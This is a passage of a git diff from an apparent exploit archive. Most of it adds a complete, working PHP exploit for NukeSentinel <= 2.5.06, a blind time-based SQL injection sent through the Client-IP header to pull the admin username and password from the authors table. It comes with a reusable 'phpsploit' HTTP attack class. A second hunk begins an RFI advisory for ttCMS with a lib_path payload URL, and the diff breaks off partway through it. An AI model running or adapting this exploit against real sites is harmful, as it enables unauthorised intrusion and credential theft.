-	 * This function sends the formed http packet with the
-	 * POST method using the multipart/form-data enctype. 
-	 * 
-	 * $array = array(
-	 *          frmdt_url      => "http://localhost/upload.php",
-	 *          frmdt_boundary => "123456",                    # Optional
-	 *                 "email" => "me@u.com",
-	 *               "varname" => array(
-	 *                            frmdt_type => "image/gif",   # Optional
-	 *                       frmdt_transfert => "binary",      # Optional
-	 *                        frmdt_filename => "hello.php",
-	 *                         frmdt_content => "<?php echo ':)'; ?>"));
-	 * $this->formdata($array);
-	 *
-	 * @param array $array
-	 * @return $server_response
-	 */
-	public function formdata($array)
-	{
-		$this->target($array[frmdt_url]);
-		$this->method="formdata";
-		$this->data='';
-		if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
-		else $this->boundary=$array[frmdt_boundary];
-		foreach($array as $key => $value)
-		{
-			if(!preg_match("#^frmdt_(boundary|url)#",$key))
-			{
-				$this->data .= "-----------------------------".$this->boundary."\r\n";
-				$this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
-				if(!is_array($value))
-				{
-					$this->data .= "\r\n\r\n".$value."\r\n";
-				}
-				else
-				{
-					$this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
-					if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
-					if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
-					$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
-				}
-			}
-		}
-		$this->data .= "-----------------------------".$this->boundary."--\r\n";
-		return $this->sock();
-	}
-
-	
-	/**
-	 * This function returns the content of the server response
-	 * without the headers.
-	 * 
-	 * $this->getcontent($this->get("http://localhost/"));
-	 * or
-	 * $this->getcontent();
-	 *
-	 * @param string $server_response
-	 * @return $onlythecontent
-	 */
-	public function getcontent($code='')
-	{
-		if(empty($code)) $code = $this->recv;
-		$content = explode("\n",$code);
-		$onlycode = '';
-		for($i=1;$i<count($content);$i++)
-		{
-			if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
-			if($ok) $onlycode .= $content[$i]."\n";
-		}
-		return $onlycode;
-	}
-
-	
-	/**
-	 * This function returns the headers of the server response
-	 * without the content.
-	 * 
-	 * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
-	 * or
-	 * $this->getheader();
-	 *
-	 * @param string $server_response
-	 * @return $onlytheheaders
-	 */
-	public function getheader($code='')
-	{
-		if(empty($code)) $code = $this->recv;
-		$header = explode("\n",$code);
-		$onlyheader = $header[0]."\n";
-		for($i=1;$i<count($header);$i++)
-		{
-			if(!preg_match("/^(\S*):/",$header[$i])) break;
-			$onlyheader .= $header[$i]."\n";
-		}
-		return $onlyheader;
-	}
-
-	
-	/**
-	 * This function is called by the cookiejar() function.
-	 * It adds the value of the "Set-Cookie" header in the "Cookie"
-	 * header for the next request. You don't have to call it.
-	 * 
-	 * @param string $server_response
-	 */
-	private function getcookie($code)
-	{
-		$carr = explode("\n",str_replace("\r\n","\n",$code));
-		for($z=0;$z<count($carr);$z++)
-		{
-			if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
-			{
-				$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
-			}
-		}
-
-		for($i=0;$i<count($cookie);$i++)
-		{
-			preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
-	    	        $cookn = $matches[1];
-	    	        $cookv = $matches[2];
-	    	        $this->addcookie($cookn,$cookv);
-		}
-    }
-
-	
-	/**
-	 * This function is called by the get()/post() functions.
-	 * You don't have to call it.
-	 *
-	 * @param string $urltarg
-	 */
-	private function target($urltarg)
-	{
-		if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
-		$this->url=$urltarg;
-		
-		$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
-		$this->host=$array[0];
-
-		preg_match("/:(\d+)\//",$urltarg,$matches);
-		$this->port=empty($matches[1]) ? 80 : $matches[1];
-		
-		$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
-		preg_match("/\/(.*)\//",$temp,$matches);
-		$this->path=str_replace("//","/","/".$matches[1]."/");
-	
-		if($this->port > 65535) die("Error: Invalid port number");
-	}
-	
-	
-	/**
-	 * If you call this function, the script will
-	 * extract all "Set-Cookie" headers values
-	 * and it will automatically add them into the "Cookie" header
-	 * for all next requests.
-	 *
-	 * $this->cookiejar(1); // enabled
-	 * $this->cookiejar(0); // disabled
-	 * 
-	 */
-	public function cookiejar($code)
-	{
-		if($code===0) $this->cookiejar='';
-		if($code===1) $this->cookiejar=1;
-		else
-		{
-			$this->getcookie($code);
-		}
-	}
-
-
-	/**
-	 * If you call this function, the script will
-	 * follow all redirections sent by the server.
-	 * 
-	 * $this->allowredirection(1); // enabled
-	 * $this->allowredirection(0); // disabled
-	 * 
-	 * @return $this->get($locationresponse)
-	 */
-	public function allowredirection($code)
-	{
-		if($code===0) $this->allowredirection='';
-		if($code===1) $this->allowredirection=1;
-		else
-		{
-			if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
-			{
-				$location = str_replace(chr(13),'',$codearr[2]);
-				if(!eregi("://",$location))
-				{
-					return $this->get("http://".$this->host.$this->path.$location);
-				}
-				else
-				{
-					return $this->get($location);
-				}
-			}
-			else
-			{
-				return $code;
-			}
-		}
-	}
-	
-	
-	/**
-	 * This function allows you to reset some parameters:
-	 * 
-	 * $this->reset(header); // headers cleaned
-	 * $this->reset(cookie); // cookies cleaned
-	 * $this->reset();       // clean all parameters
-	 *
-	 * @param string $func
-	 */
-	public function reset($func='')
-	{
-		switch($func)
-		{
-			case "header":
-			$this->header='';
-			break;
-			
-			case "cookie":
-			$this->cookie='';
-			break;
-			
-			default:
-		        $this->cookiejar='';
-		        $this->header='';
-		        $this->cookie='';
-		        $this->allowredirection=''; 
-		        $this->agent='';
-		        break;
-		}
-	}
-}
-?>
-
-# milw0rm.com [2007-03-10]
+#!/usr/bin/php
+<?php
+error_reporting(E_ALL ^ E_NOTICE);
+
+if($argc < 3)
+{
+print("
+--  NukeSentinel <= 2.5.06 SQL Injection (mysql >= 4.0.24) Exploit  ---
+-----------------------------------------------------------------------
+PHP conditions: none
+CMS conditions: disable_switch<=0 (module activated), track_active=1
+       Credits: DarkFig <gmdarkfig@gmail.com>
+           URL: http://www.acid-root.new.fr/
+-----------------------------------------------------------------------
+  Usage: $argv[0] -url <> [Options]
+ Params: -url       For example http://victim.com/phpnuke/ 
+Options: -prefix    Table prefix (default=nuke)
+         -debug     Debug mod activated (debug_ns.html)
+         -truetime  Server response time which returns true
+         -benchmark You can change the value used in benchmark()
+         -proxy     If you wanna use a proxy <proxyhost:proxyport> 
+         -proxyauth Basic authentification <proxyuser:proxypwd>
+Example: $argv[0] -url http://localhost/phpnuke/ -debug
+   Note: This exploit is based on the server response time
+         If you have some problems use -debug, -benchmark, -truetime
+-----------------------------------------------------------------------
+");exit(1);
+}
+
+$url       = getparam("url",1);
+$tblprfix  = (getparam("prefix")!="")    ? getparam("prefix") : 'nuke';
+$debug     = (getparam("debug")!="")     ? 1 : 0;
+$benchmark = (getparam("benchmark")!="") ? getparam("benchmark") : '100000000';
+$proxy     = getparam("proxy");
+$proxyauth = getparam("proxyauth");
+
+$xpl = new phpsploit();
+$xpl->agent('Mozilla Firefox');
+$xpl->allowredirection(0);
+$xpl->cookiejar(0);
+
+if($proxy) $xpl->proxy($proxy);
+if($proxyauth) $xpl->proxyauth($proxyauth);
+if($debug) debug(1);
+
+print "\nUsername: ";bruteforce('aid');
+print "\nPassword: ";bruteforce('pwd');
+exit(0);
+
+function bruteforce($field)
+{
+	global $url,$xpl,$tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result; 
+	$a=0;$v='';$dfield=$field;
+	
+	if(eregi('a',$field)) { $b='-1';$c='127';} # aid charset
+	else                  { $b='46';$c='70'; } # pwd charset
+	
+	while(TRUE)
+	{
+		$a++;
+		for($e=$b;$e<=$c;$e++)
+		{
+			$fak = rand(128,254).'.'
+			      .rand(128,254).'.'
+			      .rand(128,254).'.'
+			      .rand(128,254);
+
+                        if($e==$b) $f="TST";
+			elseif($e==($b+1)) $f="NULL";
+			else $f=$e;
+
+                        # $db->sql_query("INSERT INTO `".$prefix."_nsnst_tracked_ips` (`user_id`, `username`, `date`,
+                        # `ip_addr`, `ip_long`, `page`, `user_agent`, `refered_from`, `x_forward_for`, `client_ip`, `remote_addr`,
+                        # `remote_port`, `request_method`, `c2c`) VALUES ('".$nsnst_const['ban_user_id']."', '$ban_username2',
+                        # '".$nsnst_const['ban_time']."', '".$nsnst_const['remote_ip']."', '".$nsnst_const['remote_long']."',
+                        # '$pg', '$user_agent', '$refered_from', '".$nsnst_const['forward_ip']."', '".$nsnst_const['client_ip']."',
+                        # '".$nsnst_const['remote_addr']."', '".$nsnst_const['remote_port']."', '".$nsnst_const['request_method']."',
+                        # '$c2c')");
+                        #
+			$sql  = "(SELECT IF((SUBSTR(";
+			$sql .= ($f=="TST") ? "(SELECT 1)" : "(SELECT $field FROM ${tblprfix}_authors WHERE radminsuper=1)";
+			$sql .= ($f=="TST") ? ",1" : ",$a";
+			$sql .= ",1)=CHAR(";
+			$sql .= ($f=="TST") ? "49" : "$f";
+			$sql .= ")),BENCHMARK($benchmark,CHAR(66))";
+			$sql .= ",1)),1,1,1,1,1,1,1,1,1)/*";
+
+			$bef = time();
+			$xpl->reset("header");
+			
+			# 2.5.06 CHANGES (2007-03-02):
+			# + Corrected a problem causing valid ip users to be tagged as invalid users
+                        # ...The old sploit will not work for this version but it's always vulnerable, you missed something.
+                        #
+			# if(!ereg("^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})", $nsnst_const['remote_ip']))
+                        # {$nsnst_const['remote_ip'] = "none"; }
+			#
+			$xpl->addheader("Client-IP","$fak',$sql");
+			$xpl->get($url);
+			$aft = time();
+
+			if($f=="TST") $truetime=($aft-$bef);
+			if(getparam("truetime")!="") $truetime = getparam("truetime");
+			
+			if((($aft-$bef) >= $truetime) AND ($f != "TST")) $result='TRUE';
+			else $result='FALSE';
+			if($debug) debug();
+			
+			if($result=='TRUE')
+			{
+				if($f != "NULL")
+				{
+					print strtolower(chr($f));
+					$v .= chr($f);
+					break;
+				}
+				else
+				{
+					return $v;
+				}
+			}
+			
+			# Retry if no char found
+			if($f==$c) $a--;
+		}
+	}
+}
+
+function debug($first='')
+{
+	global $tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result;
+	if($first)
+	{
+		$handle = fopen("debug_ns.html","w+");
+		$data = "<h1><div align='center'>NukeSentinel &lt;= 2.5.06 SQL Injection (Debug)</div></h1>
+		<pre><table width='0' border='1' align='center' cellspacing='0'><tr>
+		<td align='center'><b>REQUEST TIME</b></td>
+		<td align='center'><b>RESPONSE TIME</b></td>
+		<td align='center'><b>TRUETIME</b></td>
+		<td align='center'><b>BENCHMARK</b></td>
+		<td align='center'><b>RESULT</b></td>";
+		# <td align='center'><b>IP</b></td>
+		$data .= "<td align='center'><b>FIELD</b></td>
+		<td align='center'><b>CHARSET</b></td>
+		<td align='center'><b>SUBSTR()</b></td>
+		<td align='center'><b>ORD()</b></td>
+		<td align='center'><b>CHAR()</b></td>";
+		fwrite($handle,$data);
+		fclose($handle);
+	}
+	else
+	{
+		$handle = fopen("debug_ns.html","a");
+		$data   = "<tr";
+		$data  .= ($result=='TRUE') ? " bgcolor='#FFFF00'" : "";
+		$data  .= ">
+		<td align='center'>&nbsp;".htmlentities($bef)."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities($aft)."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities($truetime)."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities($benchmark)."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities($result)."&nbsp;</td>";
+		# <td align='center'>&nbsp;".htmlentities($fak)."&nbsp;</td>
+		$data .= "<td align='center'>&nbsp;".htmlentities($dfield)."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities("$b-$c")."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities($a)."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities($f)."&nbsp;</td>
+		<td align='center'>&nbsp;".htmlentities(chr($f))."&nbsp;</td></tr>";
+		fwrite($handle,$data);
+		fclose($handle);
+	}
+}
+
+function getparam($param,$opt='')
+{
+	global $argv;
+	foreach($argv as $value => $key)
+	{
+		if($key == '-'.$param) {
+		   if(!empty($argv[$value+1])) return $argv[$value+1];
+		   else return 1;
+		}
+	}
+	if($opt) exit("\n-$param parameter required");
+	else return;
+}
+
+/*
+ * 
+ * Copyright (C) darkfig
+ * 
+ * This program is free software; you can redistribute it and/or 
+ * modify it under the terms of the GNU General Public License 
+ * as published by the Free Software Foundation; either version 2 
+ * of the License, or (at your option) any later version. 
+ * 
+ * This program is distributed in the hope that it will be useful, 
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of 
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
+ * GNU General Public License for more details. 
+ * 
+ * You should have received a copy of the GNU General Public License 
+ * along with this program; if not, write to the Free Software 
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
+ * 
+ * TITLE:          PhpSploit Class
+ * REQUIREMENTS:   PHP 5 (remove "private", "public" if you have PHP 4)
+ * VERSION:        1.2
+ * LICENSE:        GNU General Public License
+ * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
+ * FILENAME:       phpsploitclass.php
+ *
+ * CONTACT:        gmdarkfig@gmail.com (french / english)
+ * GREETZ:         Sparah, Ddx39
+ *
+ * DESCRIPTION:
+ * The phpsploit is a class implementing a web user agent.
+ * You can add cookies, headers, use a proxy server with (or without) a
+ * basic authentification. It supports the GET and the POST method. It can
+ * also be used like a browser with the cookiejar() function (which allow
+ * a server to add several cookies for the next requests) and the
+ * allowredirection() function (which allow the script to follow all
+ * redirections sent by the server). It can return the content (or the
+ * headers) of the request. Others useful functions can be used for debugging.
+ * A manual is actually in development but to know how to use it, you can
+ * read the comments.
+ *
+ * CHANGELOG:
+ * [2007-01-24] (1.2)
+ *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
+ *  * New: multipart/form-data enctype is now supported 
+ *
+ * [2006-12-31] (1.1)
+ *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
+ *  * New: You can now call the getheader() / getcontent() function without parameters
+ *
+ * [2006-12-30] (1.0)
+ *  * First version
+ * 
+ */
+
+class phpsploit {
+
+	/**
+	 * This function is called by the get()/post() functions.
+	 * You don't have to call it, this is the main function.
+	 *
+	 * @return $server_response
+	 */
+	private function sock()
+	{
+		if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
+		else $socket = fsockopen($this->host,$this->port);
+		
+		if(!$socket) die("Error: The host doesn't exist");
+		
+		if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
+		elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
+		else die("Error: Invalid method");
+		
+		if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
+		$this->packet .= "Host: ".$this->host."\r\n";
+		
+		if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
+		if(!empty($this->header)) $this->packet .= $this->header."\r\n";
+		if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
+		
+		$this->packet .= "Connection: Close\r\n";
+		if($this->method==="post")
+		{
+			$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
+			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
+			$this->packet .= $this->data."\r\n";
+		}
+		elseif($this->method==="formdata")
+		{
+			$this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
+			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
+			$this->packet .= $this->data;
+		}
+		$this->packet .= "\r\n";
+		$this->recv = '';
+		
+		fputs($socket,$this->packet);
+		while(!feof($socket)) $this->recv .= fgets($socket);
+		fclose($socket);
+		
+		if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
+		if($this->allowredirection) return $this->allowredirection($this->recv);
+		else return $this->recv;
+	}
+	
+
+	/**
+	 * This function allows you to add several cookie in the
+	 * request. Several methods are supported:
+	 * 
+	 * $this->addcookie("name","value");
+	 * or
+	 * $this->addcookie("name=newvalue");
+	 * or
+	 * $this->addcookie("othername=overvalue; xx=zz; y=u");
+	 * 
+	 * @param string $cookiename
+	 * @param string $cookievalue
+	 * 
+	 */
+	public function addcookie($cookn,$cookv='')
+	{
+		// $this->addcookie("name","value"); work avec replace
+		if(!empty($cookv))
+		{
+			if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
+			if(!empty($this->cookie))
+			{
+			    if(preg_match("/$cookn=/",$this->cookie))
+			    {
+			    	$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
+			    }
+			    else
+			    {
+			    	$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
+			    }
+			}
+			else
+			{
+				$this->cookie = $cookn."=".$cookv.";";
+			}
+		}
+		// $this->addcookie("name=value; othername=othervalue");
+		else
+		{
+	    	 if(!empty($this->cookie))
+	    	 {
+	    	 	$cookn = preg_replace("/(.*);$/","$1",$cookn);
+	    	 	$cookarr = explode(";",str_replace(" ", "",$cookn));
+	    	 	for($i=0;$i<count($cookarr);$i++)
+	    	 	{
+	    	 		preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
+	    	 		$cookn = $matches[1];
+	    	 		$cookv = $matches[2];
+	    	 		$this->addcookie($cookn,$cookv);
+	    	 	}
+	    	 }
+			 else
+			 {
+			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
+			 	$this->cookie = $cookn;			
+			 }
+		}
+	}
+	
+	
+	/**
+	 * This function allows you to add several headers in the
+	 * request. Several methods are supported:
+	 *
+	 * $this->addheader("headername","headervalue");
+	 * or
+	 * $this->addheader("headername: headervalue");
+	 *
+	 * @param string $headername
+	 * @param string $headervalue
+	 */
+	public function addheader($headern,$headervalue='')
+	{
+		// $this->addheader("name","value");
+		if(!empty($headervalue))
+		{
+			if(!empty($this->header))
+			{
+				if(preg_match("/$headern:/",$this->header))
+				{
+					$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
+				}
+				else
+				{
+					$this->header .= "\r\n".$headern.": ".$headervalue;
+				}
+			}
+			else
+			{
+				$this->header=$headern.": ".$headervalue;
+			}
+		}
+		// $this->addheader("name: value");
+		else 
+		{
+			if(!empty($this->header))
+			{
+				$headarr = explode(": ",$headern);
+				$headern = $headarr[0];
+				$headerv = $headarr[1];
+				$this->addheader($headern,$headerv);
+			}
+			else
+			{
+				$this->header=$headern;
+			}
+		}
+	}
+	
+
+	/**
+	 * This function allows you to use an http proxy server.
+	 * Several methods are supported:
+	 * 
+	 * $this->proxy("proxyip","8118");
+	 * or
+	 * $this->proxy("proxyip:8118")
+	 *
+	 * @param string $proxyhost
+	 * @param integer $proxyport
+	 */
+	public function proxy($proxy,$proxyp='')
+	{
+		// $this->proxy("localhost:8118");
+		if(empty($proxyp))
+		{
+			preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
+			$proxh = $proxarr[1];
+			$proxp = $proxarr[2];
+			$this->proxyhost=$proxh;
+			$this->proxyport=$proxp;
+		}
+		// $this->proxy("localhost",8118);
+		else 
+		{
+			$this->proxyhost=$proxy;
+			$this->proxyport=intval($proxyp);
+		}
+		if($this->proxyport > 65535) die("Error: Invalid port number");
+	}
+	
+
+	/**
+	 * This function allows you to use an http proxy server
+	 * which requires a basic authentification. Several
+	 * methods are supported:
+	 * 
+	 * $this->proxyauth("darkfig","dapasswd");
+	 * or
+	 * $this->proxyauth("darkfig:dapasswd");
+	 *
+	 * @param string $proxyuser
+	 * @param string $proxypass
+	 */
+	public function proxyauth($proxyauth,$proxypasse='')
+	{
+		// $this->proxyauth("darkfig:password");
+		if(empty($proxypasse))
+		{
+			preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
+			$proxu = $proxautharr[1];
+			$proxp = $proxautharr[2];
+			$this->proxyuser=$proxu;
+			$this->proxypass=$proxp;
+		}
+		// $this->proxyauth("darkfig","password");
+		else
+		{
+			$this->proxyuser=$proxyauth;
+			$this->proxypass=$proxypasse;
+		}
+	}
+
+	
+	/**
+	 * This function allows you to set the "User-Agent" header.
+	 * Several methods are possible to do that:
+	 * 
+	 * $this->agent("Mozilla Firefox");
+	 * or
+	 * $this->addheader("User-Agent: Mozilla Firefox");
+	 * or
+	 * $this->addheader("User-Agent","Mozilla Firefox");
+	 * 
+	 * @param string $useragent
+	 */
+	public function agent($useragent)
+	{
+		$this->agent=$useragent;
+	}
+
+	
+	/**
+	 * This function returns the header which will be
+	 * in the next request.
+	 * 
+	 * $this->showheader();
+	 *
+	 * @return $header
+	 */
+	public function showheader()
+	{
+		return $this->header;
+	}
+
+	
+	/**
+	 * This function returns the cookie which will be
+	 * in the next request.
+	 * 
+	 * $this->showcookie();
+	 *
+	 * @return $storedcookies
+	 */
+	public function showcookie()
+	{
+		return $this->cookie;
+	}
+
+	
+	/**
+	 * This function returns the last formed
+	 * http request (the http packet).
+	 * 
+	 * $this->showlastrequest();
+	 * 
+	 * @return $last_http_request
+	 */
+	public function showlastrequest()
+	{
+		return $this->packet;
+	}
+	
+	
+	/**
+	 * This function sends the formed http packet with the
+	 * GET method. You can precise the port of the host.
+	 * 
+	 * $this->get("http://localhost");
+	 * $this->get("http://localhost:888/xd/tst.php");
+	 * 
+	 * @param string $urlwithpath
+	 * @return $server_response
+	 */
+	public function get($url)
+	{
+		$this->target($url);
+		$this->method="get";
+		return $this->sock();
+	}
+
+	
+	/**
+	 * This function sends the formed http packet with the
+	 * POST method. You can precise the port of the host.
+	 * 
+	 * $this->post("http://localhost/index.php","admin=1&user=dark");
+	 *
+	 * @param string $urlwithpath
+	 * @param string $postdata
+	 * @return $server_response
+	 */	
+	public function post($url,$data)
+	{
+		$this->target($url);
+		$this->method="post";
+		$this->data=$data;
+		return $this->sock();
+	}
+	
+
+	/**
+	 * This function sends the formed http packet with the
+	 * POST method using the multipart/form-data enctype. 
+	 * 
+	 * $array = array(
+	 *          frmdt_url      => "http://localhost/upload.php",
+	 *          frmdt_boundary => "123456",                    # Optional
+	 *                 "email" => "me@u.com",
+	 *               "varname" => array(
+	 *                            frmdt_type => "image/gif",   # Optional
+	 *                       frmdt_transfert => "binary",      # Optional
+	 *                        frmdt_filename => "hello.php",
+	 *                         frmdt_content => "<?php echo ':)'; ?>"));
+	 * $this->formdata($array);
+	 *
+	 * @param array $array
+	 * @return $server_response
+	 */
+	public function formdata($array)
+	{
+		$this->target($array[frmdt_url]);
+		$this->method="formdata";
+		$this->data='';
+		if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
+		else $this->boundary=$array[frmdt_boundary];
+		foreach($array as $key => $value)
+		{
+			if(!preg_match("#^frmdt_(boundary|url)#",$key))
+			{
+				$this->data .= "-----------------------------".$this->boundary."\r\n";
+				$this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
+				if(!is_array($value))
+				{
+					$this->data .= "\r\n\r\n".$value."\r\n";
+				}
+				else
+				{
+					$this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
+					if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
+					if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
+					$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
+				}
+			}
+		}
+		$this->data .= "-----------------------------".$this->boundary."--\r\n";
+		return $this->sock();
+	}
+
+	
+	/**
+	 * This function returns the content of the server response
+	 * without the headers.
+	 * 
+	 * $this->getcontent($this->get("http://localhost/"));
+	 * or
+	 * $this->getcontent();
+	 *
+	 * @param string $server_response
+	 * @return $onlythecontent
+	 */
+	public function getcontent($code='')
+	{
+		if(empty($code)) $code = $this->recv;
+		$content = explode("\n",$code);
+		$onlycode = '';
+		for($i=1;$i<count($content);$i++)
+		{
+			if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
+			if($ok) $onlycode .= $content[$i]."\n";
+		}
+		return $onlycode;
+	}
+
+	
+	/**
+	 * This function returns the headers of the server response
+	 * without the content.
+	 * 
+	 * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
+	 * or
+	 * $this->getheader();
+	 *
+	 * @param string $server_response
+	 * @return $onlytheheaders
+	 */
+	public function getheader($code='')
+	{
+		if(empty($code)) $code = $this->recv;
+		$header = explode("\n",$code);
+		$onlyheader = $header[0]."\n";
+		for($i=1;$i<count($header);$i++)
+		{
+			if(!preg_match("/^(\S*):/",$header[$i])) break;
+			$onlyheader .= $header[$i]."\n";
+		}
+		return $onlyheader;
+	}
+
+	
+	/**
+	 * This function is called by the cookiejar() function.
+	 * It adds the value of the "Set-Cookie" header in the "Cookie"
+	 * header for the next request. You don't have to call it.
+	 * 
+	 * @param string $server_response
+	 */
+	private function getcookie($code)
+	{
+		$carr = explode("\n",str_replace("\r\n","\n",$code));
+		for($z=0;$z<count($carr);$z++)
+		{
+			if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
+			{
+				$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
+			}
+		}
+
+		for($i=0;$i<count($cookie);$i++)
+		{
+			preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
+	    	        $cookn = $matches[1];
+	    	        $cookv = $matches[2];
+	    	        $this->addcookie($cookn,$cookv);
+		}
+    }
+
+	
+	/**
+	 * This function is called by the get()/post() functions.
+	 * You don't have to call it.
+	 *
+	 * @param string $urltarg
+	 */
+	private function target($urltarg)
+	{
+		if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
+		$this->url=$urltarg;
+		
+		$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
+		$this->host=$array[0];
+
+		preg_match("/:(\d+)\//",$urltarg,$matches);
+		$this->port=empty($matches[1]) ? 80 : $matches[1];
+		
+		$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
+		preg_match("/\/(.*)\//",$temp,$matches);
+		$this->path=str_replace("//","/","/".$matches[1]."/");
+	
+		if($this->port > 65535) die("Error: Invalid port number");
+	}
+	
+	
+	/**
+	 * If you call this function, the script will
+	 * extract all "Set-Cookie" headers values
+	 * and it will automatically add them into the "Cookie" header
+	 * for all next requests.
+	 *
+	 * $this->cookiejar(1); // enabled
+	 * $this->cookiejar(0); // disabled
+	 * 
+	 */
+	public function cookiejar($code)
+	{
+		if($code===0) $this->cookiejar='';
+		if($code===1) $this->cookiejar=1;
+		else
+		{
+			$this->getcookie($code);
+		}
+	}
+
+
+	/**
+	 * If you call this function, the script will
+	 * follow all redirections sent by the server.
+	 * 
+	 * $this->allowredirection(1); // enabled
+	 * $this->allowredirection(0); // disabled
+	 * 
+	 * @return $this->get($locationresponse)
+	 */
+	public function allowredirection($code)
+	{
+		if($code===0) $this->allowredirection='';
+		if($code===1) $this->allowredirection=1;
+		else
+		{
+			if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
+			{
+				$location = str_replace(chr(13),'',$codearr[2]);
+				if(!eregi("://",$location))
+				{
+					return $this->get("http://".$this->host.$this->path.$location);
+				}
+				else
+				{
+					return $this->get($location);
+				}
+			}
+			else
+			{
+				return $code;
+			}
+		}
+	}
+	
+	
+	/**
+	 * This function allows you to reset some parameters:
+	 * 
+	 * $this->reset(header); // headers cleaned
+	 * $this->reset(cookie); // cookies cleaned
+	 * $this->reset();       // clean all parameters
+	 *
+	 * @param string $func
+	 */
+	public function reset($func='')
+	{
+		switch($func)
+		{
+			case "header":
+			$this->header='';
+			break;
+			
+			case "cookie":
+			$this->cookie='';
+			break;
+			
+			default:
+		        $this->cookiejar='';
+		        $this->header='';
+		        $this->cookie='';
+		        $this->allowredirection=''; 
+		        $this->agent='';
+		        break;
+		}
+	}
+}
+?>
+
+# milw0rm.com [2007-03-10]
diff --git a/platforms/php/webapps/3563.txt b/platforms/php/webapps/3563.txt
index c52c23804..2a22eb128 100755
--- a/platforms/php/webapps/3563.txt
+++ b/platforms/php/webapps/3563.txt
@@ -1,21 +1,21 @@
-DEVIL TEAM - HACKING POLISH TEAM
-
-Author: Kacper (a.k.a Rahim)
-Contact: kacper1964@yahoo.pl
-Homepage: http://www.rahim.webd.pl/
-Irc: irc.milw0rm.com:6667 #devilteam 
---------------------------------------------
-Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.
-
-
-
-ttCMS <= v4 (ez_sql.php lib_path) RFI Vulnerability
-script download/homepage: http://www.ttcms.com/v4/
-
-
---------------------------------------------
-Vulnerabilities:
-
-http://site.com/ttCMS_path/lib/db/ez_sql.php?lib_path=[evil_code]
-
-# milw0rm.com [2007-03-24]
+DEVIL TEAM - HACKING POLISH TEAM
+
+Author: Kacper (a.k.a Rahim)
+Contact: kacper1964@yahoo.pl
